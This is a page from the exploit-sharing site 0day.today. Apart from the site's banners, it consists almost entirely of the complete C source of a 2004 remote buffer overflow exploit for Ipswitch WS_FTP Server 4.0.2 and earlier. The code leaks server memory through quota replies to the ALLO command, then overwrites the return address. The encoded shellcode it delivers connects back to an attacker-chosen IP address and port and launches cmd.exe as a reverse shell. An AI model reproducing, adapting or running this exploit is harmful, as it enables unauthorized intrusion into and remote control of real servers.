0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WS_FTP Server <= 4.0.2 ALLO Remote Buffer Overflow Exploit
========================================================== WS_FTP Server <= 4.0.2 ALLO Remote Buffer Overflow Exploit ========================================================== /* * Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit * (c)2004 Hugh Mann hughmann@hotmail.com * * This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP SP1 * * NOTE: * - The exploit assumes the user has a total file size limit. If the user only has * a max number of files limit you will need to rewrite parts of this exploit for * it to work. */ #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> const char* temp_file = "#t#t#t"; #define ALLO_STRING "ALLO 18446744073709551615" /* * Assume all addresses >= this address to be invalid addresses. If the exploit doesn't work, * try changing it to a larger value, eg. 0x80000000 or 0xC0000000. */ const MAX_ADDR = 0x80000000; /* * Size of each thread's stack space. From iFtpSvc.exe PE header. Must be a power of 2. * Should not be necessary to change this since practically all PE files use the default * size (1MB). */ const SERV_STK_SIZE = 0x00100000; /* * This is the lower bits of ESP when the ALLO handler is called. This is very WS_FTP Server * version dependent. Should be = ESP (mod SERV_STK_SIZE) */ const SERV_STK_OFFS = 0x0007F208; /* * This is the offset of the "this" pointer relative to SERV_STK_OFFS in the ALLO handler. */ const SERV_STK_THIS_OFFS = -(0x210+4); // EBP is saved /* * Offset of username relative to the "this" pointer */ const SERV_THIS_USERNAME_OFFS = 0x9F8; /* * Offset of FTP cmd buf relative to the "this" pointer */ const SERV_THIS_CMDBUF_OFFS = 0x1F8; /* * Offset of EIP relative to vulnerable buffer */ const SERV_BUF_EIP = 0x110; /* * Return addresses to JMP ESP instruction. Must contain bytes that are valid shellcode characters. */ #if 1 const char* ret_addr = "\xD3\xD9\xE2\x77"; // advapi32.dll (08/29/2002), WinXP SP1 #else // mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated which DLL actually loads it // so I don't use this possibly better return address. const char* ret_addr = "\x3D\x40\xA5\x71"; // mswsock.dll (08/23/2001), WinXP SP1 and probably WinXP too #endif #define MAXLINE 0x1000 static char inbuf[MAXLINE]; static unsigned inoffs = 0; static char last_line[MAXLINE]; static int output_all = 0; static int quite_you = 0; void msg2(const char *format, ...) { va_list args; va_start(args, format); vfprintf(stdout, format, args); } void msg(const char *format, ...) { if (quite_you && output_all == 0) return; va_list args; va_start(args, format); vfprintf(stdout, format, args); } int isrd(SOCKET s) { fd_set r; FD_ZERO(&r); FD_SET(s, &r); timeval t = {0, 0}; int ret = select(1, &r, NULL, NULL, &t); if (ret < 0) return 0; else return ret != 0; } void print_all(const char* buf, int len = -1) { if (len == -1) len = (int)strlen(buf); for (int i = 0; i < len; i++) putc(buf[i], stdout); } int _recv(SOCKET s, char* buf, int len, int flags) { int ret = recv(s, buf, len, flags); if (!output_all || ret < 0) return ret; print_all(buf, ret); return ret; } int get_line(SOCKET s, char* string, unsigned len) { char* nl; while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL) { if (inoffs >= sizeof(inbuf)) { msg("[-] Too long line\n"); return 0; } int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0); if (len <= 0) { msg("[-] Error receiving data\n"); return 0; } inoffs += len; } strncpy(last_line, inbuf, sizeof(last_line)); last_line[sizeof(last_line)-1] = 0; unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf); if (nlidx >= len) { msg("[-] Too small caller buffer\n"); return 0; } memcpy(string, inbuf, nlidx); string[nlidx] = 0; if (nlidx > 0 && string[nlidx-1] == '\r') string[nlidx-1] = 0; if (nlidx + 1 >= inoffs) inoffs = 0; else { memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1)); inoffs -= nlidx + 1; } return 1; } int ignorerd(SOCKET s) { inoffs = 0; while (1) { if (!isrd(s)) return 1; if (_recv(s, inbuf, sizeof(inbuf), 0) < 0) return 0; } } int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, void* data = NULL) { char line[MAXLINE]; if (!get_line(s, line, sizeof(line))) { msg("[-] Could not get status code\n"); return -1; } if (func) func(data, line); char c = line[3]; line[3] = 0; int code; if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line))) { msg("[-] Weird reply\n"); return -1; } char endline[4]; memcpy(endline, line, 3); endline[3] = ' '; if (c == '-') { while (1) { if (!get_line(s, line, sizeof(line))) { msg("[-] Could not get next line\n"); return -1; } if (func) func(data, line); if (!memcmp(line, endline, sizeof(endline))) break; } } return code; } int sendb(SOCKET s, const char* buf, int len, int flags = 0) { while (len) { int l = send(s, buf, len, flags); if (l <= 0) break; len -= l; buf += l; } return len == 0; } int sends(SOCKET s, const char* buf, int flags = 0) { return sendb(s, buf, (int)strlen(buf), flags); } int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply) { char buf[MAXLINE]; buf[sizeof(buf)-1] = 0; if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 0) { msg("[-] Buffer overflow\n"); return -1; } if (output_all) print_all(buf); if (!ignorerd(s) || !sends(s, buf)) return -1; if (need_reply) return get_reply_code(s); return 0; } int send_cmd(SOCKET s, const char* fmt, ...) { va_list args; va_start(args, fmt); return _send_cmd(s, fmt, args, 1); } int send_cmd2(SOCKET s, const char* fmt, ...) { va_list args; va_start(args, fmt); return _send_cmd(s, fmt, args, 0); } int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen) { if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs) { msg("[-] Buffer overflow ;)\n"); return 0; } memcpy((char*)dst+dstoffs, src, srclen); dstoffs += srclen; return 1; } int check_invd_bytes(const char* name, const void* buf, int buflen, int (*chkchar)(char c)) { const char* b = (const char*)buf; for (int i = 0; i < buflen; i++) { if (!chkchar(b[i])) { msg("[-] %s[%u] (%02X) is an invalid character\n", name, i, (unsigned char)b[i]); return 0; } } return 1; } int enc_byte(char& c, char& k, int (*chkchar)(char c)) { for (int i = 0; i < 0x100; i++) { if (!chkchar(c ^ i) || !chkchar(i)) continue; c ^= i; k = i; return 1; } msg("[-] Could not find encryption key for byte %02X\n", c); return 0; } int get_enc_key(char* buf, int size, int offs, int step, int (*chkchar)(char c), int ignore1 = -1, int ignore2 = -1) { for (int i = 0; i < 0x100; i++) { if (!chkchar(i)) continue; for (int j = offs; j < size; j += step) { if (ignore1 != -1 && (j >= ignore1 && j <= ignore2)) continue; // These bytes aren't encrypted if (!chkchar(buf[j] ^ i)) break; } if (j < size) continue; return i; } msg("[-] Could not find an encryption key\n"); return -1; } int login(SOCKET s, const char* username, const char* userpass) { msg("[+] Logging in as %s...\n", username); int code; if ((code = send_cmd(s, "USER %s\r\n", username)) < 0) { msg("[-] Failed to log in #1\n"); return 0; } if (code == 331) { if ((code = send_cmd(s, "PASS %s\r\n", userpass)) < 0) { msg("[-] Failed to log in #2\n"); return 0; } } if (code != 230) { msg("[-] Failed to log in. Code %3u\n", code); return 0; } msg("[+] Logged in\n"); return 1; } class xuser { public: xuser() : s(INVALID_SOCKET) {} ~xuser() {close();} int init(unsigned long ip, unsigned short port, const char* username, const char* userpass); void close() {if (s >= 0) closesocket(s); s = INVALID_SOCKET;} SOCKET sock() const {return s;} int exploit(unsigned long sip, unsigned short sport); int read_serv_mem_bytes(unsigned addr, void* dst, int dstlen); int read_serv_mem_string(unsigned addr, char* dst, int dstlen); int read_serv_mem_uint32(unsigned addr, unsigned* dst); protected: int read_serv_mem(unsigned addr, void* dst, int dstlen); SOCKET s; char username[260]; char userpass[260]; unsigned long ip; unsigned short port; }; /* * XAUT code tested with WS_FTP Server 4.0.2.EVAL */ #define XAUT_2_KEY 0x49327576 int xaut_encrypt(char* dst, const char* src, int len, unsigned long key) { unsigned char keybuf[0x80*4]; for (int i = 0; i < sizeof(keybuf)/4; i++) { keybuf[i*4+0] = (char)key; keybuf[i*4+1] = (char)(key >> 8); keybuf[i*4+2] = (char)(key >> 16); keybuf[i*4+3] = (char)(key >> 24); } for (int i = 0; i < len; i++) { if (i >= sizeof(keybuf)) { msg("[-] xaut_encrypt: Too long input buffer\n"); return 0; } *dst++ = *src++ ^ keybuf[i]; } return 1; } char* xaut_unpack(char* src, int len, int delete_it) { char* dst = new char[len*2 + 1]; for (int i = 0; i < len; i++) { dst[i*2+0] = ((src[i] >> 4) & 0x0F) + 0x35; dst[i*2+1] = (src[i] & 0x0F) + 0x31; } dst[i*2] = 0; if (delete_it) delete src; return dst; } int xaut_login(SOCKET s, int d, const char* username, const char* password, unsigned long key) { msg("[+] Logging in [XAUT] as %s...\n", username); int ret = 0; char* dst = NULL; __try { const char* middle = ":"; dst = new char[strlen(username) + strlen(middle) + strlen(password) + 1]; strcpy(dst, username); strcat(dst, middle); strcat(dst, password); int len = (int)strlen(dst); if ((d == 2 && !xaut_encrypt(dst, dst, len, XAUT_2_KEY)) || !xaut_encrypt(dst, dst, len, key)) __leave; dst = xaut_unpack(dst, len, 1); if (send_cmd(s, "XAUT %d %s\r\n", d, dst) != 230) __leave; ret = 1; } __finally { delete dst; } if (!ret) msg("[-] Failed to log in\n"); else msg("[+] Logged in\n"); return ret; } struct my_data { unsigned long key; int done_that; char hostname[256]; }; int line_callback(void* data, char* line) { my_data* m = (my_data*)data; if (m->done_that) return 1; /* * Looking for a line similar to: * * "220-FTP_HOSTNAME X2 WS_FTP Server 4.0.2.EVAL (41541732)\r\n" */ char* s, *e; if (strncmp(line, "220", 3) || !strstr(line, "WS_FTP Server") || (s = strrchr(line, '(')) == NULL || (e = strchr(s, ')')) == NULL) return 1; char buf[0x10]; int len = (int)(ULONG_PTR)(e - (s+1)); if (len >= sizeof(buf) || len > 10) return 1; memcpy(buf, s+1, len); buf[len] = 0; for (int i = 0; i < len; i++) { if (!isdigit((unsigned char)buf[i])) return 1; } m->key = atol(buf); for (int i = 4, len = (int)strlen(line); i < len; i++) { if (i-4 >= sizeof(m->hostname)) return 1; m->hostname[i-4] = line[i]; if (line[i] == ' ') break; } m->hostname[i-4] = 0; if (m->hostname[0] == 0) return 1; m->done_that = 1; return 1; } int xuser::init(unsigned long _ip, unsigned short _port, const char* _username, const char* _userpass) { ip = _ip; port = _port; close(); strncpy(username, _username, sizeof(username)); if (username[sizeof(username)-1] != 0) { msg("[-] username too long\n"); return 0; } strncpy(userpass, _userpass, sizeof(userpass)); if (userpass[sizeof(userpass)-1] != 0) { msg("[-] userpass too long\n"); return 0; } sockaddr_in saddr; memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); saddr.sin_addr.s_addr = htonl(ip); in_addr a; a.s_addr = htonl(ip); msg("[+] Connecting to %s:%u...\n", inet_ntoa(a), port); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0) { msg("[-] Could not connect\n"); return 0; } msg("[+] Connected\n"); my_data m; memset(&m, 0, sizeof(m)); int code = get_reply_code(s, line_callback, &m); if (code != 220) { msg("[-] Got reply %3u\n", code); return 0; } else if (!m.done_that) { msg("[-] Could not find XAUT key or host name => Not a WS_FTP Server\n"); return 0; } if (!xaut_login(s, 0, username, userpass, m.key) && !login(s, username, userpass)) return 0; // Don't want UTF8 conversions if (send_cmd(s, "LANG en\r\n") != 200) { msg("[-] Apparently they don't understand the english language\n"); return 0; } if (send_cmd(s, "NOOP step into the light\r\n") != 200) { msg("[-] C4n't k1ll 4 z0mbie\n"); return 0; } return 1; } SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd) { SOCKET sd = INVALID_SOCKET; int error = 1; __try { sockaddr_in saddr; int len = sizeof(saddr); if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) || (sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) __leave; sockaddr_in daddr; memset(&daddr, 0, sizeof(daddr)); daddr.sin_family = AF_INET; daddr.sin_port = 0; daddr.sin_addr.s_addr = saddr.sin_addr.s_addr; len = sizeof(daddr); if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 || getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr)) __leave; unsigned long ip = ntohl(daddr.sin_addr.s_addr); unsigned short port = ntohs(daddr.sin_port); if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n", (unsigned char)(ip >> 24), (unsigned char)(ip >> 16), (unsigned char)(ip >> 8), (unsigned char)ip, (unsigned char)(port >> 8), (unsigned char)port) != 200) __leave; if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0) __leave; msg("[+] Waiting for server to connect...\n"); SOCKET sa; sockaddr_in aaddr; len = sizeof(aaddr); if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0) __leave; closesocket(sd); sd = sa; if (get_reply_code(s) != 150) __leave; error = 0; } __finally { if (error) { msg("[-] Could not create data connection, %u\n", GetLastError()); closesocket(sd); sd = INVALID_SOCKET; } else msg("[+] Server connected\n"); } return sd; } int create_file(SOCKET s, const char* tmpname, unsigned size = 1) { int ret = 0; SOCKET sd = INVALID_SOCKET; __try { if (size > 1 && send_cmd(s, "REST %u\r\n", size) != 350) __leave; if ((sd = get_data_sock(s, tmpname, "STOR")) < 0) __leave; ret = 1; } __finally { if (sd >= 0) closesocket(sd); } if (ret && get_reply_code(s) != 226) ret = 0; return ret; } const unsigned int shlc2_offs_encstart = 0x0000002B; const unsigned int shlc2_offs_encend = 0x000001B8; const unsigned int shlc2_offs_enckey = 0x00000025; unsigned char shlc2_code[] = "\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56" "\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1" "\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31" "\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B" "\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D" "\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00" "\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56" "\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00" "\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33" "\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A" "\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A" "\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88" "\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88" "\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49" "\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4" "\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00" "\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00" "\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00" "\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00" "\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF" "\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D" "\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03" "\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61" "\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57" "\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E" "\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65" "\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74" "\x50\x72\x6F\x63\x65\x73\x73\x00"; int is_valid_shlc2(char c) { return c != 0; } struct tfs_data { tfs_data() : tot_size(0), line(0), ok(0) {} int line; unsigned tot_size; int ok; }; int tfs_line_callback(void* data, char* line) { tfs_data* m = (tfs_data*)data; if (++m->line != 1) return 1; if (strncmp(line, "250-", 4) || (m->tot_size = atoi(line+4)) == 0) return 1; m->ok = 1; return 1; } int get_user_total_file_size(SOCKET s, unsigned& tot_size) { int ret = 0; SOCKET sd = INVALID_SOCKET; __try { /* * Create a $message.txt file */ if ((sd = get_data_sock(s, "$message.txt", "STOR")) < 0 || send(sd, "%z", 2, 0) != 2) __leave; closesocket(sd); sd = INVALID_SOCKET; if (get_reply_code(s) != 226) __leave; tfs_data m; const DWORD max_wait = 10000; for (DWORD tc = GetTickCount(); GetTickCount() - tc < max_wait; ) { if (send_cmd2(s, "CWD .\r\n") < 0) __leave; m.ok = m.line = 0; int code = get_reply_code(s, tfs_line_callback, &m); if (code != 500) break; } if (!m.ok) __leave; tot_size = m.tot_size; ret = 1; } __finally { if (sd >= 0) closesocket(sd); } if (!ret) msg("[-] Failed to get user total file size.\n Are you sure there's a total file size limit for this user?\n"); return ret; } int delete_file(SOCKET s, const char* filename) { DWORD tc = GetTickCount(); const DWORD wait = 10000; while (1) { if (GetTickCount() - tc > wait) return 0; if (send_cmd(s, "STAT %s\r\n", filename) != 211) return 1; if (send_cmd(s, "DELE %s\r\n", filename) < 0) return 0; } } int create_file_for_addr(SOCKET s, unsigned addr) { int ret = 0; __try { if (addr >= MAX_ADDR) { msg2("[-] Trying to read an addr (%08X) >= MAX_ADDR (%08X)\n", addr, MAX_ADDR); __leave; } if (!delete_file(s, temp_file)) msg("[-] Could not delete file\n"); unsigned tot_size; if (!get_user_total_file_size(s, tot_size)) __leave; if (addr < tot_size) { msg2("[-] You must delete some user files to read address %08X\n", addr); __leave; } unsigned size = addr - tot_size; if (!create_file(s, temp_file, size)) __leave; ret = 1; } __finally { } return ret; } /* * Returns < 0 => error * Returns = 0 => server thread crashed * Returns > 0 => read this many bytes into dst */ int xuser::read_serv_mem(unsigned addr, void* dst, int dstlen) { int file_created = 0; int ret = -1; __try { if (!create_file_for_addr(s, addr)) __leave; file_created = 1; if (send_cmd2(s, ALLO_STRING "\r\n") < 0) __leave; char buf[MAXLINE]; int bufsz = 0; const char* m1 = "452 "; int type = 0; while (1) { if (bufsz >= sizeof(buf)-1) __leave; int size = _recv(s, &buf[bufsz], sizeof(buf)-1-bufsz, 0); if (size < 0) __leave; if (size == 0) { if (bufsz == 0) ret = 0; __leave; } bufsz += size; buf[bufsz] = 0; if (bufsz >= (int)strlen(m1) && memcmp(m1, buf, strlen(m1))) __leave; // Wrong reply code const char* s1 = " files\r\n"; const char* s2 = " size\r\n"; if (bufsz >= (int)strlen(s1) && !memcmp(s1, &buf[bufsz-strlen(s1)], strlen(s1))) { type = 0; break; } if (bufsz >= (int)strlen(s2) && !memcmp(s2, &buf[bufsz-strlen(s2)], strlen(s2))) { type = 1; break; } } const char* s = "quota exceeded; "; const char* f1 = " size; "; const char* f2 = " size\r\n"; const char* f3 = " files; "; char* b = buf + strlen(m1); if (strncmp(b, s, strlen(s))) __leave; char* ss = NULL, *se = NULL; if (type == 0) // "quota exceeded; %s size; %u files\r\n" { ss = b + strlen(s); for (int i = bufsz-(int)strlen(f1); ; i--) { if (i < 0) __leave; if (strncmp(f1, &buf[i], strlen(f1))) continue; // Not equal to " size; " se = &buf[i]; break; } } else // "quota exceeded; %u files; %s size\r\n" { ss = strstr(buf, f3); if (!ss) __leave; ss += strlen(f3); se = &buf[bufsz-strlen(f2)]; } if (!se || !ss || se < ss) { msg("[-] Buggy code\n"); __leave; } *se = 0; int rd_size = (int)(UINT_PTR)(se - ss) + 1; // One 00h byte ret = min((int)dstlen, rd_size); memcpy(dst, ss, ret); } __finally { } if (ret < 0) msg("[-] Could not read server memory\n"); else if (ret == 0) { // Server thread crashed if (!init(ip, port, username, userpass)) ret = -1; } return ret; } int xuser::read_serv_mem_bytes(unsigned addr, void* dst, int dstlen) { for (int i = 0; i < (int)dstlen; ) { int len = read_serv_mem(addr+i, (char*)dst+i, dstlen-i); if (len <= 0) return len; i += len; } return dstlen; } int xuser::read_serv_mem_string(unsigned addr, char* dst, int dstlen) { int len = read_serv_mem(addr, dst, dstlen); if (len <= 0) return len; if (dst[len-1] != 0) return -1; return len; } int xuser::read_serv_mem_uint32(unsigned addr, unsigned* dst) { unsigned char tmp[4]; int ret = read_serv_mem_bytes(addr, tmp, sizeof(tmp)); if (ret <= 0) return ret; if (ret != sizeof(tmp)) return -1; *dst = (tmp[3] << 24) | (tmp[2] << 16) | (tmp[1] << 8) | tmp[0]; return ret; } int xuser::exploit(unsigned long sip, unsigned short sport) { int ret = 0; char* shellcode = NULL; char* badbuf = NULL; __try { /* * Encrypt the shellcode */ const shellcode_len = sizeof(shlc2_code)-1; shellcode = new char[shellcode_len+1]; memcpy(shellcode, shlc2_code, shellcode_len); shellcode[shellcode_len] = 0; shellcode[2] = (char)2; shellcode[3] = (char)(2 >> 8); shellcode[4] = (char)(sport >> 8); shellcode[5] = (char)sport; shellcode[6] = (char)(sip >> 24); shellcode[7] = (char)(sip >> 16); shellcode[8] = (char)(sip >> 8); shellcode[9] = (char)sip; for (int i = 0; i < 8; i++) { if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2)) __leave; } for (int i = 0; i < 4; i++) { int k = get_enc_key(&shellcode[shlc2_offs_encstart], shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2); if (k < 0) __leave; shellcode[shlc2_offs_enckey+i] = k; } msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n", (unsigned char)shellcode[shlc2_offs_enckey+3], (unsigned char)shellcode[shlc2_offs_enckey+2], (unsigned char)shellcode[shlc2_offs_enckey+1], (unsigned char)shellcode[shlc2_offs_enckey]); for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++) shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 4]; /* * Do some sanity checks */ if (!check_invd_bytes("shellcode", shellcode, shellcode_len, is_valid_shlc2) || !check_invd_bytes("ret_addr", ret_addr, 4, is_valid_shlc2)) __leave; if (!delete_file(s, temp_file)) { msg("Could not delete file\n"); __leave; } unsigned tot_size; if (!get_user_total_file_size(s, tot_size)) __leave; msg("[+] Scanning server memory: "); quite_you = 1; const unsigned ADDR_START = SERV_STK_SIZE; const unsigned ADDR_END = MAX_ADDR-1; unsigned this_ptr; for (unsigned addr = ADDR_START; ; addr += SERV_STK_SIZE) { if (addr > ADDR_END || !addr) { /* * Can happen if the address of the thread's stack is not in the same position in * memory. This most likely happens when another user logged in or it sent a FTP * command which creates a new server thread. Try again. */ msg2("[-] Could not find the this ptr. Try again.\n"); __leave; } int rc = read_serv_mem_uint32(addr + SERV_STK_OFFS + SERV_STK_THIS_OFFS, &this_ptr); if (rc < 0) { msg2("- unknown error\n"); // Error __leave; } else if (rc == 0) { msg2("x"); // Crashed } else { msg2("."); // Bingo char tmp[0x200]; if (this_ptr + SERV_THIS_USERNAME_OFFS < MAX_ADDR && this_ptr + SERV_THIS_CMDBUF_OFFS < MAX_ADDR && read_serv_mem_string(this_ptr + SERV_THIS_USERNAME_OFFS, tmp, sizeof(tmp)) > 0 && !strcmp(tmp, username) && read_serv_mem_string(this_ptr + SERV_THIS_CMDBUF_OFFS, tmp, sizeof(tmp)) > 0 && !strcmp(tmp, ALLO_STRING)) break; } } quite_you = 0; msg("\n[+] this = %08X\n", this_ptr); const char* s1 = "quota exceeded; "; char padding[SERV_BUF_EIP]; int padding_len = sizeof(padding) - (int)strlen(s1); memset(padding, 'A', sizeof(padding)); int xpsz = (int)strlen(ALLO_STRING "\r\n") + padding_len + 4 + shellcode_len; badbuf = new char[xpsz+1]; badbuf[xpsz] = 0; int tmpidx = 0; if (!add_bytes(badbuf, tmpidx, xpsz, ALLO_STRING "\r\n", (int)strlen(ALLO_STRING "\r\n")) || !add_bytes(badbuf, tmpidx, xpsz, padding, padding_len) || !add_bytes(badbuf, tmpidx, xpsz, ret_addr, 4) || !add_bytes(badbuf, tmpidx, xpsz, shellcode, shellcode_len) || tmpidx != xpsz) { msg("[-] This is a bug. Now you know\n"); __leave; } if (!create_file_for_addr(s, this_ptr + SERV_THIS_CMDBUF_OFFS + strlen(ALLO_STRING "\r\n"))) __leave; if (send_cmd2(s, badbuf) < 0) __leave; ret = 1; } __finally { quite_you = 0; if (shellcode) delete shellcode; if (badbuf) delete badbuf; } return ret; } void show_help(char* pname) { msg("%s <ip> <port> <sip> <sport> [-u username] [-p userpass] [-a]\n", pname); exit(1); } int main(int argc, char** argv) { msg("Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit\n"); msg("(c)2004 Hugh Mann hughmann@hotmail.com\n"); WSADATA wsa; if (WSAStartup(0x0202, &wsa)) return 1; if (argc < 5) show_help(argv[0]); unsigned long ip = ntohl(inet_addr(argv[1])); unsigned short port = (unsigned short)atoi(argv[2]); unsigned long sip = ntohl(inet_addr(argv[3])); unsigned short sport = (unsigned short)atoi(argv[4]); const char* username = "anonymous"; const char* userpass = "Hugh Mann"; for (int i = 5; i < argc; i++) { if (!strcmp(argv[i], "-u") && i + 1 < argc) { username = argv[++i]; } else if (!strcmp(argv[i], "-p") && i + 1 < argc) { userpass = argv[++i]; } else if (!strcmp(argv[i], "-a")) { output_all = 1; } else show_help(argv[0]); } if (!ip || !port || !sip || !sport) show_help(argv[0]); xuser user; if (!user.init(ip, port, username, userpass)) return 0; if (!user.exploit(sip, sport)) msg("[-] u n33d t0 s7uddy m0r3...\n"); else msg("[+] Wait a few secs for a shell\n"); return 0; } # 0day.today [2024-11-16] #